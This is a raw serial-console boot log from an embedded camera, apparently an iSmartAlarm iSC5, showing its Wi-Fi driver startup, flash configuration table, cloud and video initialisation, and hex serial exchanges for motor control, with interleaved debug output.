snx_isp snx_isp.0: ISP Camera driver loaded&lt;br /&gt;
snx_vc snx_vc: sonix_vc device registered as /dev/video1&lt;br /&gt;
snx_vc snx_vc: sonix_vc device registered as /dev/video1&lt;br /&gt;
snx_vc snx_vc: sonix_vc device registered as /dev/video2&lt;br /&gt;
snx_vc snx_vc: sonix_vc device registered as /dev/video2&lt;br /&gt;
usb 1-1.2: new high speed USB device using snx_ehci and address 4&lt;br /&gt;
usb 1-1.2: New USB device found, idVendor=0a5c, idProduct=0bdc&lt;br /&gt;
usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3&lt;br /&gt;
usb 1-1.2: Product: BCMUSB 802.11 Wireless Adapter&lt;br /&gt;
usb 1-1.2: Manufacturer: Broadcom&lt;br /&gt;
usb 1-1.2: SerialNumber: 18776&lt;br /&gt;
hub 1-1:1.0: /run/media/fedora/software/snx_sdk/kernel/linux-2.6.35.12/src/drivers/usb/core/hub.c 3347: state 7 ports 4 chg 0000 evt 0004&lt;br /&gt;
libusb:error [op_get_config_descriptor] open &#039;/dev/bus/usb/001/001&#039; failed, ret=-1 errno=2&lt;br /&gt;
libusb-compat error: usb_find_devices: couldn&#039;t initialize device 1.1 (error -5)&lt;br /&gt;
Vendor 0x4b4 ID 0x6570&lt;br /&gt;
No devices found&lt;br /&gt;
Error: usbdev_find ... cnt=1&lt;br /&gt;
libusb:error [op_get_config_descriptor] open &#039;/dev/bus/usb/001/001&#039; failed, ret=-1 errno=2&lt;br /&gt;
libusb-compat error: usb_find_devices: couldn&#039;t initialize device 1.1 (error -5)&lt;br /&gt;
Vendor 0x4b4 ID 0x6570&lt;br /&gt;
Vendor 0xa5c ID 0xbdc&lt;br /&gt;
dhd_module_init: Enter&lt;br /&gt;
high speed device detected&lt;br /&gt;
dhd_attach(): thread:dhd_sysioc:250 started&lt;br /&gt;
Broadcom Dongle Host Driver: register interface [wlan0] MAC: 00:90:4c:11:22:33&lt;br /&gt;
dbus_usb_resetcfg: download done 200 ms postboot chip 0xa123/rev 0x1&lt;br /&gt;
DBUS: vid=0xa5c pid=0xbdc devid=0x4322 bustype=0x0 mtu=512&lt;br /&gt;
usbcore: registered new interface driver dbus_usbdev&lt;br /&gt;
&lt;br /&gt;
Dongle Host Driver, version 1.88.56.3.2 (r)&lt;br /&gt;
Compiled in drivers/net/wireless/bcmdhd on Jul  4 2017 at 06:00:10&lt;br /&gt;
dhd_module_init: Exit err=0&lt;br /&gt;
Set hostname ...&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
not in singleboard test&lt;br /&gt;
&lt;br /&gt;
starting pid 603, tty &#039;/dev/ttyS0&#039;: &#039;/sbin/getty -L ttyS0 115200 vt100&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iSmartAlarm login: hello Guozhixin OKOKOKOKOKOKOKOKOK&lt;br /&gt;
msg_queue_remove_by_key_a: No such file or directory&lt;br /&gt;
msg_queue_remove_by_key_a: No such file or directory&lt;br /&gt;
msg_queue_remove_by_key_a: No such file or directory&lt;br /&gt;
logserver version: 1.2&lt;br /&gt;
item = 0&lt;br /&gt;
item = Device_State get &lt;br /&gt;
INIT App INFO XXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;
uuuuuuuuuuuuuuuuuuuuu000&lt;br /&gt;
sonix test!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;
serialport_open success&lt;br /&gt;
serialport_open: success&lt;br /&gt;
___________________________________Donot Copy IQ.bin________________________________&lt;br /&gt;
************************************************************************************&lt;br /&gt;
Cam_camera_version ret ..............= 0, MX238&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&lt;br /&gt;
************************************************************************************&lt;br /&gt;
++++++++++++++++++++++++++++++14&lt;br /&gt;
20743344&lt;br /&gt;
++++++++++++++++++++++++++++++14&lt;br /&gt;
i2c read 25 time&lt;br /&gt;
ret = -1, 0, 0, 0, 0&lt;br /&gt;
usb_find_busses ret=2&lt;br /&gt;
libusb:error [op_get_config_descriptor] open &#039;/dev/bus/usb/001/001&#039; failed, ret=-1 errno=2&lt;br /&gt;
usb_find_devices ret=2&lt;br /&gt;
g_stConfigTable[0] Wifi_Mode = 111111111111111111&lt;br /&gt;
g_stConfigTable[0] Wifi_Mode = D&lt;br /&gt;
g_stConfigTable[1] Wifi_Active = 111111111111111111&lt;br /&gt;
g_stConfigTable[1] Wifi_Active = y&lt;br /&gt;
g_stConfigTable[2] Wifi_IP = 111111111111111111&lt;br /&gt;
g_stConfigTable[2] Wifi_IP = 192.168.1.68&lt;br /&gt;
g_stConfigTable[3] Wifi_Subnet = 111111111111111111&lt;br /&gt;
g_stConfigTable[3] Wifi_Subnet = 255.255.255.0&lt;br /&gt;
g_stConfigTable[4] Wifi_Gateway = 111111111111111111&lt;br /&gt;
g_stConfigTable[4] Wifi_Gateway = 192.168.1.1&lt;br /&gt;
g_stConfigTable[5] Wifi_DNS = 111111111111111111&lt;br /&gt;
g_stConfigTable[5] Wifi_DNS = 192.168.1.1&lt;br /&gt;
g_stConfigTable[6] Wired_IP = 111111111111111111&lt;br /&gt;
g_stConfigTable[6] Wired_IP = 192.168.1.68&lt;br /&gt;
g_stConfigTable[7] Wired_Mode = 111111111111111111&lt;br /&gt;
g_stConfigTable[7] Wired_Mode = D&lt;br /&gt;
g_stConfigTable[8] Wired_Subnet = 111111111111111111&lt;br /&gt;
g_stConfigTable[8] Wired_Subnet = 255.255.255.0&lt;br /&gt;
g_stConfigTable[9] Wired_Gateway = 111111111111111111&lt;br /&gt;
g_stConfigTable[9] Wired_Gateway = 192.168.1.1&lt;br /&gt;
g_stConfigTable[10] Wired_DNS = 111111111111111111&lt;br /&gt;
g_stConfigTable[10] Wired_DNS = 192.168.1.1&lt;br /&gt;
g_stConfigTable[11] Alarm_Motion_Switch = 111111111111111111&lt;br /&gt;
g_stConfigTable[11] Alarm_Motion_Switch = n&lt;br /&gt;
g_stConfigTable[12] Aladhd_open: Enter c3fa5c00&lt;br /&gt;
rm_Motion_Sensitivity = &lt;br /&gt;
Dongle Host Driver, version 1.88.56.3.2 (r)&lt;br /&gt;
Compiled in drivers/net/wireless/bcmdhd on Jul  4 2017 at 06:00:10&lt;br /&gt;
111111111111111111&lt;br /&gt;
g_stCdhd_dbus_state_change: DBUS current state=2&lt;br /&gt;
onfigTable[12] Alarm_Motion_Sensitivity = 5&lt;br /&gt;
g_stConfigTable[13] Alarm_MFirmware up: op_mode=0x0001, Broadcom Dongle Host Driver mac=e0:76:d0:3c:49:58&lt;br /&gt;
otion_Region = 111111111111111111&lt;br /&gt;
g_stConfigTable[13] Alarm_Motion_Region = 0,0;0,0&lt;br /&gt;
g_stConfigTpktpool_init, len = 1.&lt;br /&gt;
able[14] Alarm_Audio_Swi000000.001 &lt;br /&gt;
tch = 111111111111111111RTE (USB-SDIO-CDC) 6.10.198.52_r33 (r1961) on BCM43143 r2 @ 20.0/97.0/97.0MHz&lt;br /&gt;
&lt;br /&gt;
g_stConfigTable[14] Al000000.002 ei 1, ebi 2, ebo 1&lt;br /&gt;
arm_Audio_Switch = n&lt;br /&gt;
g_000000.006 reclaim section 0: Returned 40511 bytes to the heap&lt;br /&gt;
stConfigTable[15] Alarm_000000.016 wlc_lcn40phy_txpwr_srom_read, set edon edoff for ce &lt;br /&gt;
Audio_Sensitivity = 1111000000.023 get nothing from nv set txbcn timeout 3&lt;br /&gt;
11111111111111&lt;br /&gt;
g_stConf000000.025 wl0: Broadcom BCM43143 802.11 Wireless Controller 6.10.198.52_r33 (r1961)&lt;br /&gt;
igTable[15] Alarm_Audio_000000.047 TCAM: 256 used: 31 exceed:0&lt;br /&gt;
Sensitivity = 5&lt;br /&gt;
g_stCon000000.048 reclaim section 1: Returned 55844 bytes to the heap&lt;br /&gt;
figTable[16] Alarm_Audio000000.048 pktpool_fill, psize = 9, len = 1,&lt;br /&gt;
_SmokeYXMOD = 1111111111000000.048 pktpool_add, p = 0004f418,&lt;br /&gt;
11111111&lt;br /&gt;
g_stConfigTabl000000.049 pktpool_add, p = 0004ec90,&lt;br /&gt;
e[16] Alarm_Audio_SmokeY000000.049 pktpool_add, p = 0004e508,&lt;br /&gt;
XMOD = 200&lt;br /&gt;
g_stConfigTa000000.049 pktpool_add, p = 0004dd80,&lt;br /&gt;
ble[17] Alarm_pir_Switch000000.049 pktpool_add, p = 0004d5f8,&lt;br /&gt;
 = 111111111111111111&lt;br /&gt;
g000000.049 pktpool_add, p = 0004ce70,&lt;br /&gt;
_stConfigTable[17] Alarm000000.049 pktpool_add, p = 0004c6e8,&lt;br /&gt;
_pir_Switch = n&lt;br /&gt;
g_stCon000000.049 pktpool_add, p = 0004bf60,&lt;br /&gt;
figTable[18] Light_Net = 111111111111111111&lt;br /&gt;
g_stConfigTable[18] Light_Net = y&lt;br /&gt;
g_stConfigTable[19] Light_Night = 111111111111111111&lt;br /&gt;
g_stConfigTable[19] Light_Night = y&lt;br /&gt;
g_stConfigTable[20] Video_IPS = 111111111111111111&lt;br /&gt;
g_stConfigTable[2Firmware version = wl0: Jul 10 2015 11:40:03 version 6.10.198.52_r33 (r1961) FWID 01-32bd010c es4.c3.n4.a2&lt;br /&gt;
0] Video_IPS = 30&lt;br /&gt;
g_stCodhd_wlfc_init(): successfully enabled bdcv2 tlv signaling, 79&lt;br /&gt;
nfigTable[21] Video_Bright = 111111111111111111&lt;br /&gt;
g_stConfigTable[21] Video_Bright = 1&lt;br /&gt;
g_stConfigTable[22] Video_Constract = 111111111111111111&lt;br /&gt;
g_stConfigTable[22] Video_Constract = 3&lt;br /&gt;
g_stConfigTable[23] Video_Hflip = 111111111111111111&lt;br /&gt;
g_stConfigTable[23] Video_Hflip = 1&lt;br /&gt;
g_stConfigTable[24] Video_Vflip = 111111111111111111&lt;br /&gt;
g_stConfigTable[24] Video_Vflip = 1&lt;br /&gt;
g_stConfigTable[25] Video_Rate = 111111111111111111&lt;br /&gt;
g_stConfigTable[25] Video_Rate = 50&lt;br /&gt;
g_stConfigTable[26] Video_Sample = 111111111111111111&lt;br /&gt;
g_stConfigTable[26] Video_Sample = 10&lt;br /&gt;
g_stConfigTable[27] Video_OSD = 11111111111111111000010.037 pktpool_fill, psize = 36, len = 9,&lt;br /&gt;
1&lt;br /&gt;
g_stConfigTable[27] V000010.037 pktpool_add, p = 0004aad4,&lt;br /&gt;
ideo_OSD = n&lt;br /&gt;
g_stConfig000010.037 pktpool_add, p = 0004a34c,&lt;br /&gt;
Table[28] Audio_Channel 000010.037 pktpool_add, p = 00049bc4,&lt;br /&gt;
= 111111111111111111&lt;br /&gt;
g_000010.037 pktpool_add, p = 0004943c,&lt;br /&gt;
stConfigTable[28] Audio_000010.037 pktpool_add, p = 00048cb4,&lt;br /&gt;
Channel = 1&lt;br /&gt;
g_stConfigT000010.037 pktpool_add, p = 0004852c,&lt;br /&gt;
able[29] Audio_Sample = 000010.037 pktpool_add, p = 00047da4,&lt;br /&gt;
111111111111111111&lt;br /&gt;
g_st000010.037 pktpool_add, p = 0004761c,&lt;br /&gt;
ConfigTable[29] Audio_Sa000010.037 pktpool_add, p = 00046e94,&lt;br /&gt;
mple = 8000&lt;br /&gt;
g_stConfigT000010.037 pktpool_add, p = 0004670c,&lt;br /&gt;
able[30] Audio_Volume = 000010.037 pktpool_add, p = 00045f84,&lt;br /&gt;
111111111111111111&lt;br /&gt;
g_st000010.038 pktpool_add, p = 000457fc,&lt;br /&gt;
ConfigTable[30] Audio_Vo000010.038 pktpool_add, p = 00045074,&lt;br /&gt;
lume = 1&lt;br /&gt;
g_stConfigTabl000010.038 pktpool_add, p = 000448ec,&lt;br /&gt;
e[31] Device_State = 111000010.038 pktpool_add, p = 00044164,&lt;br /&gt;
111111111111111&lt;br /&gt;
g_stCon000010.038 pktpool_add, p = 000439dc,&lt;br /&gt;
figTable[31] Device_Stat000010.038 pktpool_add, p = 00043254,&lt;br /&gt;
e = u&lt;br /&gt;
g_stConfigTable[3000010.038 pktpool_add, p = 00042acc,&lt;br /&gt;
2] Config_Version = 1111000010.038 pktpool_add, p = 00042344,&lt;br /&gt;
11111111111111&lt;br /&gt;
g_stConf000010.038 pktpool_add, p = 0006af88,&lt;br /&gt;
igTable[32] Config_Versi000010.038 pktpool_add, p = 0006a800,&lt;br /&gt;
on = 2.4.9.6&lt;br /&gt;
g_stConfig000010.038 pktpool_add, p = 0006a078,&lt;br /&gt;
Table[33] HW_Version = 1000010.038 pktpool_add, p = 000698f0,&lt;br /&gt;
11111111111111111&lt;br /&gt;
g_stC000010.038 pktpool_add, p = 00069168,&lt;br /&gt;
onfigTable[33] HW_Versio000010.038 pktpool_add, p = 000689e0,&lt;br /&gt;
n = 0.0.0.0&lt;br /&gt;
g_stConfigT000010.039 pktpool_add, p = 00068258,&lt;br /&gt;
able[34] SW_Version = 11000010.039 pktpool_add, p = 00067ad0,&lt;br /&gt;
1111111111111111&lt;br /&gt;
g_stConfigTable[34] SW_Version = 0.0.0.0&lt;br /&gt;
g_stConfigTable[35] Server_URL = 111111111111111111&lt;br /&gt;
g_stConfigTable[35] Server_URL dhd_open: Exit ret=0&lt;br /&gt;
= api.ismartalarm.com&lt;br /&gt;
g_stConfigTable[36] P2p_UID = 111111111111111111&lt;br /&gt;
g_stConfigTable[36] P2p_UID = &lt;br /&gt;
g_stConfigTable[37] Camera_Type = 111111111111111111&lt;br /&gt;
g_stConfigTable[37] Camera_Type = iSC5&lt;br /&gt;
g_stConfigTable[38] Camera_Mqtt_Server = 111111111111111111&lt;br /&gt;
g_stConfigTable[38] Camera_Mqtt_Server = bzy.ismartalarm.com&lt;br /&gt;
init_flash_config_parameters  END&lt;br /&gt;
 111111111111111111111111111111111&lt;br /&gt;
read file failed param failed /etc/config/.wifissid&lt;br /&gt;
111111111111111111111111111111111&lt;br /&gt;
read file failed param failed /etc/config/.wifipasswd&lt;br /&gt;
111111111111111111111111111111111&lt;br /&gt;
read file failed param failed /etc/config/.wifitype&lt;br /&gt;
111111111111111111111111111111111&lt;br /&gt;
read file failed param failed /etc/config/.camera_encyid&lt;br /&gt;
init_flash_config_parameters  END 111&lt;br /&gt;
 size = 12c&lt;br /&gt;
mac:004D3209B72D004D3209B72E&lt;br /&gt;
mac:004D3209B72D004D3209B72E&lt;br /&gt;
/sbin/ifconfig wlan0 down&lt;br /&gt;
/sbin/ifconfig wlan0 hw ether 00:4D:32:09:B7:2E&lt;br /&gt;
/sbin/ifconfig wlan0 up&lt;br /&gt;
killall: wpa_supplicant: no process killed&lt;br /&gt;
killall: udhcpc: no process killed&lt;br /&gt;
cp -f /root/etc_default/wpa_supplicant.conf /tmp/wpa_supplicant -Dwext -iwlan0 -c/tmp/wpa_supplicant.conf -B &amp;amp;&lt;br /&gt;
udhcpc -i wlan0 -p /var/run/udhcpc.pid -b &amp;amp;&lt;br /&gt;
size = 12c&lt;br /&gt;
g_stCommonInfo.acPbKey 8ZKv1WTwjES6UylNCO4YjSPp4C0b1F5ryF5IflS4uKY2yP6lJvFbg3ap5tdyx+xJGgossblmCRffuihUmMgWAgxfd1GrpKfWcsvU/PhDuxB935Ua1pRgRYY/D3t0QeNvHqxsoqjivVZmmuXUKfijEOe/hhr8IGUvjNKE8YawBhE=AQAB&lt;br /&gt;
size = 12c&lt;br /&gt;
size = 118&lt;br /&gt;
item = 1&lt;br /&gt;
item = Wifi_Active get y&lt;br /&gt;
acTmpBuf = y, lTmpLen = 1&lt;br /&gt;
start to set wifi,read para from flash&lt;br /&gt;
item = 1&lt;br /&gt;
item = Wifi_Mode get D&lt;br /&gt;
item = 0&lt;br /&gt;
item = Camera_SSID get &lt;br /&gt;
CONFIG_WIFI_SSID  :  lTmpLen is: 0&lt;br /&gt;
wifi ssid is null , return&lt;br /&gt;
++++++++++++++++++++++++++++++1&lt;br /&gt;
Come Create Video Capture Thread!&lt;br /&gt;
21791920&lt;br /&gt;
22840496&lt;br /&gt;
++++++++++++++++++++++++++++++1&lt;br /&gt;
++++++++++++++++++++++++++++++3&lt;br /&gt;
23889072&lt;br /&gt;
++++++++++++++++++++++++++++++3&lt;br /&gt;
++++++++++++++++++++++++++++++4&lt;br /&gt;
24937648&lt;br /&gt;
++++++++++++++++++++++++++++++4&lt;br /&gt;
++++++++++++++++++++++++++++++2&lt;br /&gt;
25986224&lt;br /&gt;
++++++++++++++++++++++++++++++2&lt;br /&gt;
++++++++++++++++++++++++++++++6&lt;br /&gt;
27034800&lt;br /&gt;
++++++++++++++++++++++++++++++6&lt;br /&gt;
++++++++++++++++++++++++++++++7&lt;br /&gt;
28083376&lt;br /&gt;
30844080&lt;br /&gt;
++++++++++++++++++++++++++++++7&lt;br /&gt;
++++++++++++++++++++++++++++++8&lt;br /&gt;
31892656&lt;br /&gt;
++++++++++++++++++++++++++++++8&lt;br /&gt;
++++++++++++++++++++++++++++++9&lt;br /&gt;
32941232&lt;br /&gt;
++++++++++++++++++++++++++++++9&lt;br /&gt;
++++++++++++++++++++++++++++++10&lt;br /&gt;
33989808&lt;br /&gt;
++++++++++++++++++++++++++++++10&lt;br /&gt;
++++++++++++++++++++++++++++++11&lt;br /&gt;
35038384&lt;br /&gt;
++++++++++++++++++++++++++++++11&lt;br /&gt;
++++++++++++++++++++++++++++++15&lt;br /&gt;
36086960&lt;br /&gt;
++++++++++++++++++++++++++++++15&lt;br /&gt;
++++++++++++++++++++++++++++++16&lt;br /&gt;
37135536&lt;br /&gt;
++++++++++++++++++++++++++++++16&lt;br /&gt;
++++++++++++++++++++++++++++++18&lt;br /&gt;
38184112&lt;br /&gt;
39232688&lt;br /&gt;
++++++++++++++++++++++++++++++18&lt;br /&gt;
++++++++++++++++++++++++++++++20&lt;br /&gt;
40281264&lt;br /&gt;
++++++++++++++++++++++++++++++20&lt;br /&gt;
++++++++++++++++++++++++++++++22&lt;br /&gt;
41329840&lt;br /&gt;
++++++++++++++++++++++++++++++22&lt;br /&gt;
42378416&lt;br /&gt;
Come Start Video Capture Thread! Main loop========================&lt;br /&gt;
item = 2&lt;br /&gt;
item = Video_Rate get 50&lt;br /&gt;
abc  =================================   50 &lt;br /&gt;
item = 1&lt;br /&gt;
item = Video_Bright get 1&lt;br /&gt;
abc  =================================   1 &lt;br /&gt;
item = 1&lt;br /&gt;
item = Video_Hflip get 1&lt;br /&gt;
abc  =================================   1 &lt;br /&gt;
item = 1&lt;br /&gt;
item = Video_Vflip get 1&lt;br /&gt;
abc  =================================   1 &lt;br /&gt;
((((((((((((((((((sample   50 ))))))))))))))))))&lt;br /&gt;
((((((((((((((((((sizek   1 ))))))))))))))))))&lt;br /&gt;
((((((((((((((((((help_n   1 ))))))))))))))))))&lt;br /&gt;
((((((((((((((((((filp_n   1 ))))))))))))))))))&lt;br /&gt;
item = 1&lt;br /&gt;
item = Alarm_Audio_Sensitivity get 5&lt;br /&gt;
item = 1&lt;br /&gt;
item = Alarm_Audio_Switch get n&lt;br /&gt;
udhcpc (v1.22.1) started&lt;br /&gt;
start to create_mp4_main() &lt;br /&gt;
NewsChannel thread start success&lt;br /&gt;
Start Audio Capture Sync=====================&lt;br /&gt;
item = 1&lt;br /&gt;
item = Light_Net get y&lt;br /&gt;
item = 1&lt;br /&gt;
item = Light_Night get y&lt;br /&gt;
get_config_item_value(CONFIG_LIGHT_NIGHT       y    &lt;br /&gt;
48465072&lt;br /&gt;
49829040&lt;br /&gt;
child_process_init: success&lt;br /&gt;
child process synchronization start&lt;br /&gt;
start to InitAccEncoder ok () &lt;br /&gt;
g_pstCloudInfo-&amp;gt;threadMsgId = 65538&lt;br /&gt;
g_pstCloudInfo-&amp;gt;processMsgId = 32769&lt;br /&gt;
item = 19&lt;br /&gt;
item = Server_URL get api.ismartalarm.com&lt;br /&gt;
g_pstCloudInfo-&amp;gt;acServerDomainAddr = api.ismartalarm.com&lt;br /&gt;
function Cloud_Init &lt;br /&gt;
function Cloud_Init end&lt;br /&gt;
function Mode_info_Init &lt;br /&gt;
function Mode_info_Init end&lt;br /&gt;
cloud init ok okok okok okok okok ok&lt;br /&gt;
*******************clock.fmt.he.net*************************&lt;br /&gt;
NewsChannel_init: container-&amp;gt;lmsgid: 65538, container-&amp;gt;rmsgid: 32769&lt;br /&gt;
NewsChannel_usrInfoClear: success&lt;br /&gt;
NewsChannel initialize success&lt;br /&gt;
NewsChannel thread synchronization start&lt;br /&gt;
alarm_func_thread_init ok#################################################&lt;br /&gt;
set g_stAlarmRecordData.nFlag  0 &lt;br /&gt;
Alarm_set_load_File&lt;br /&gt;
Video_Alarm,Alarm_OnOff  0&lt;br /&gt;
Video_Alarm,Alarm_Keen  5&lt;br /&gt;
Video_Alarm,Alarm_Web_Log 1&lt;br /&gt;
Video_Alarm,Alarm_Web_Pic 1&lt;br /&gt;
Video_Alarm,Alarm_Web_Vid 1&lt;br /&gt;
Video_Alarm,Alarm_TCP_Log 1&lt;br /&gt;
wifi_list_init ok ~~~~~~~~~~~~~&lt;br /&gt;
network init ok, creat check thread ok&lt;br /&gt;
Start Audio Capture Sync=====================&lt;br /&gt;
Video 0 5 1 1 1 1 &lt;br /&gt;
Audio 0 5 1 1 1 1 &lt;br /&gt;
Smoke 0 5 1 1 1 1 &lt;br /&gt;
CO 0 5 1 1 1 1 &lt;br /&gt;
InfraredAlarm 0 5 1 1 1 1 &lt;br /&gt;
InfraredAndMotionAlarm 0 5 1 1 1 1 &lt;br /&gt;
Other 0 5 1 1 1 1 &lt;br /&gt;
**********************************************************************************&lt;br /&gt;
**********************************************************************************&lt;br /&gt;
************************time Open : 0  time Num : 1***********************************&lt;br /&gt;
**********************************************************************************&lt;br /&gt;
**********************************************************************************&lt;br /&gt;
XIAOMI_THREAD get Str 76666666666666666 &lt;br /&gt;
76666666666666666 &lt;br /&gt;
*************************************************************************************&lt;br /&gt;
****************************is_sd_ready  0*************************************************&lt;br /&gt;
*****************************is_sd_long   0************************************************&lt;br /&gt;
*****************************timezone_min   0************************************************&lt;br /&gt;
*************************************************************************************&lt;br /&gt;
Sending discover...&lt;br /&gt;
frame size:1024&lt;br /&gt;
max output bytes:768&lt;br /&gt;
&lt;br /&gt;
start capture&lt;br /&gt;
++++++++++++++++++++++++++++++++child_process_synchronization ok++++++++++++++++++++++++&lt;br /&gt;
52835504&lt;br /&gt;
53884080&lt;br /&gt;
54932656&lt;br /&gt;
55981232&lt;br /&gt;
item = 1&lt;br /&gt;
item = Alarm_Motion_Switch get n&lt;br /&gt;
item = 1&lt;br /&gt;
item = Alarm_Motion_Sensitivity get 5&lt;br /&gt;
change_isp_md_args Video Open  0  ---------5-------&lt;br /&gt;
io module sync ok&lt;br /&gt;
unSubType = 2,   unSubPara = 180rcv PIR_OPEN ~~~~&lt;br /&gt;
RCV FROM SINGLE CHIP MACHINE  IR_CUT CLOSE&lt;br /&gt;
ir_cut_state_msghandler(int nFlag) = 0&lt;br /&gt;
Photosensitive is change  1  !!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;
数据转换中:        Video After Sync!!&lt;br /&gt;
local_storage_thread ok&lt;br /&gt;
Udp Server start success&lt;br /&gt;
NewsChannel thread synchronization stop&lt;br /&gt;
1111111111111111111111111111111111111111111111111111110ret=0&lt;br /&gt;
AudioAlarm Thread start ok v1.1, 5, 0&lt;br /&gt;
thread_VideoFrameData start OK&lt;br /&gt;
thread_AudioFrameData start OK ok ok &lt;br /&gt;
***************************&lt;br /&gt;
******* volctlNul=1  ***********&lt;br /&gt;
***************************&lt;br /&gt;
IOTC_Initialize2 success &lt;br /&gt;
????????????????????????????IOTC_Get_Version   33621506  ??????????????????????????&lt;br /&gt;
58590384&lt;br /&gt;
[SNX-AUDIO] Un-mute MIC&lt;br /&gt;
stream-&amp;gt;format_bits   16 &lt;br /&gt;
[SNX-AUDIO] frame number : 256, format_bits: 16&lt;br /&gt;
stream-&amp;gt;buffer_size   1024   &lt;br /&gt;
[SNX-AUDIO] Un-mute speaker&lt;br /&gt;
[SNX-SPEAKER] OK frame number : 80, format_bits: 16&lt;br /&gt;
_________________________socket write  4_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 00  01  ff &lt;br /&gt;
k[0] = 0x52769ebf&lt;br /&gt;
k[1] = 0xcd7123a2&lt;br /&gt;
k[2] = 0xe07aed75&lt;br /&gt;
k[3] = 0x5af1201a&lt;br /&gt;
_________________________socket write  4_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 00  0e  0c &lt;br /&gt;
_________________________socket write  20_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 10  0a  d7  52  0b  6a  82  16  27  66 &lt;br /&gt;
 00  00  dc  53  04  27  65  56  f0 &lt;br /&gt;
_______::::: after send_R2 : ret = 0, rec_buf[2] = 11&lt;br /&gt;
_________________________socket write  20_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 10  08  77  df  e6  10  19  ea  c9  02 &lt;br /&gt;
 c5  53  d9  03  1f  c4  c5  b4  80 &lt;br /&gt;
_________________________socket write  4_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 00  0b  09 &lt;br /&gt;
file=SerialPorts.c,func=serialport_confirm, line=1663: confirm return = 0&lt;br /&gt;
**************************************************&lt;br /&gt;
*            confirm ok confirm ok               *&lt;br /&gt;
*            confirm ok confirm ok               *&lt;br /&gt;
**************************************************&lt;br /&gt;
_________________________socket write  4_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 00  2c  2a &lt;br /&gt;
****************************************************************&lt;br /&gt;
**************************get abcd   2*************************&lt;br /&gt;
****************************************************************&lt;br /&gt;
_________________________socket write  6_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 02  2a  0b  b8  ed &lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  2b  1a &lt;br /&gt;
rcv from serial: buf[2] = 0x2b&lt;br /&gt;
Sending discover...&lt;br /&gt;
********************video_channel[1].m2m.m2m 1 width 1280  height 720************************&lt;br /&gt;
killall: miio_client: no process killed&lt;br /&gt;
killall: miio_client_helper_nomqtt.sh: no process killed&lt;br /&gt;
NEWS_CAMERA_MOVE_REL &lt;br /&gt;
NEWS_CAMERA_MOVE_REL &lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((Video_Code_Status_N  is  1   1  ))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
serial received move rel_speed&lt;br /&gt;
&lt;br /&gt;
Guozhixin printf 1,0,0,0 &lt;br /&gt;
Guozhixin get pan 1 ,tilt 0 &lt;br /&gt;
speed = 1, pan = 27, tilt = 0&lt;br /&gt;
_________________________socket write  5_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 01  05  01  05 &lt;br /&gt;
_________________________socket write  8_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 04  02  1b  00  00  00  1f &lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  05  f4 &lt;br /&gt;
rcv from serial: buf[2] = 0x5&lt;br /&gt;
motor_set_move_flag 1(0:not move, 1:moving)&lt;br /&gt;
MSG_AUDIOALARM_T_MOTOR_ACTION Motormove = 0 open&lt;br /&gt;
_________________________socket write  7_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 03  0f  01  16  5a  81 &lt;br /&gt;
set_photosensitive_value set_photosensitive_value&lt;br /&gt;
serial received move rel_speed&lt;br /&gt;
&lt;br /&gt;
Guozhixin printf 255,255,0,0 &lt;br /&gt;
Guozhixin get pan -1 ,tilt 0 &lt;br /&gt;
speed = 1, pan = -27, tilt = 0&lt;br /&gt;
_________________________socket write  5_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 01  05  01  05 &lt;br /&gt;
motor_set_move_flag 1(0:not move, 1:moving)&lt;br /&gt;
MSG_AUDIOALARM_T_MOTOR_ACTION Motormove = 0 open&lt;br /&gt;
_________________________socket write  8_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 04  02  e5  ff  00  00  e8 &lt;br /&gt;
_________________________socket read  12_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  02  f1  ef  00  0f  fe  ef  00  05 &lt;br /&gt;
 f4 &lt;br /&gt;
rcv from serial: buf[2] = 0x2&lt;br /&gt;
rcv motor_move_ack_handler ok&lt;br /&gt;
rcv from serial: buf[2] = 0xf&lt;br /&gt;
RCV FROM SINGLE CHIP MACHINE  IR_CUT CLOSE&lt;br /&gt;
rcv from serial: buf[2] = 0x5&lt;br /&gt;
unSubType = 3,   unSubPara = 0MSG_IOCTL_T_CTL_LED_STATE..... ..... &lt;br /&gt;
ir_cut_state_msghandler(int nFlag) = 0&lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  02  f1 &lt;br /&gt;
rcv from serial: buf[2] = 0x2&lt;br /&gt;
rcv motor_move_ack_handler ok&lt;br /&gt;
-----&amp;gt;has ability to crop!!&lt;br /&gt;
cropcap.dframe rate update,  pix_clk: 46607142, rate 4 fps, frame_length: 0x1af6, line_length: 0x698&lt;br /&gt;
efrect = (0, 40, 1280, 720)&lt;br /&gt;
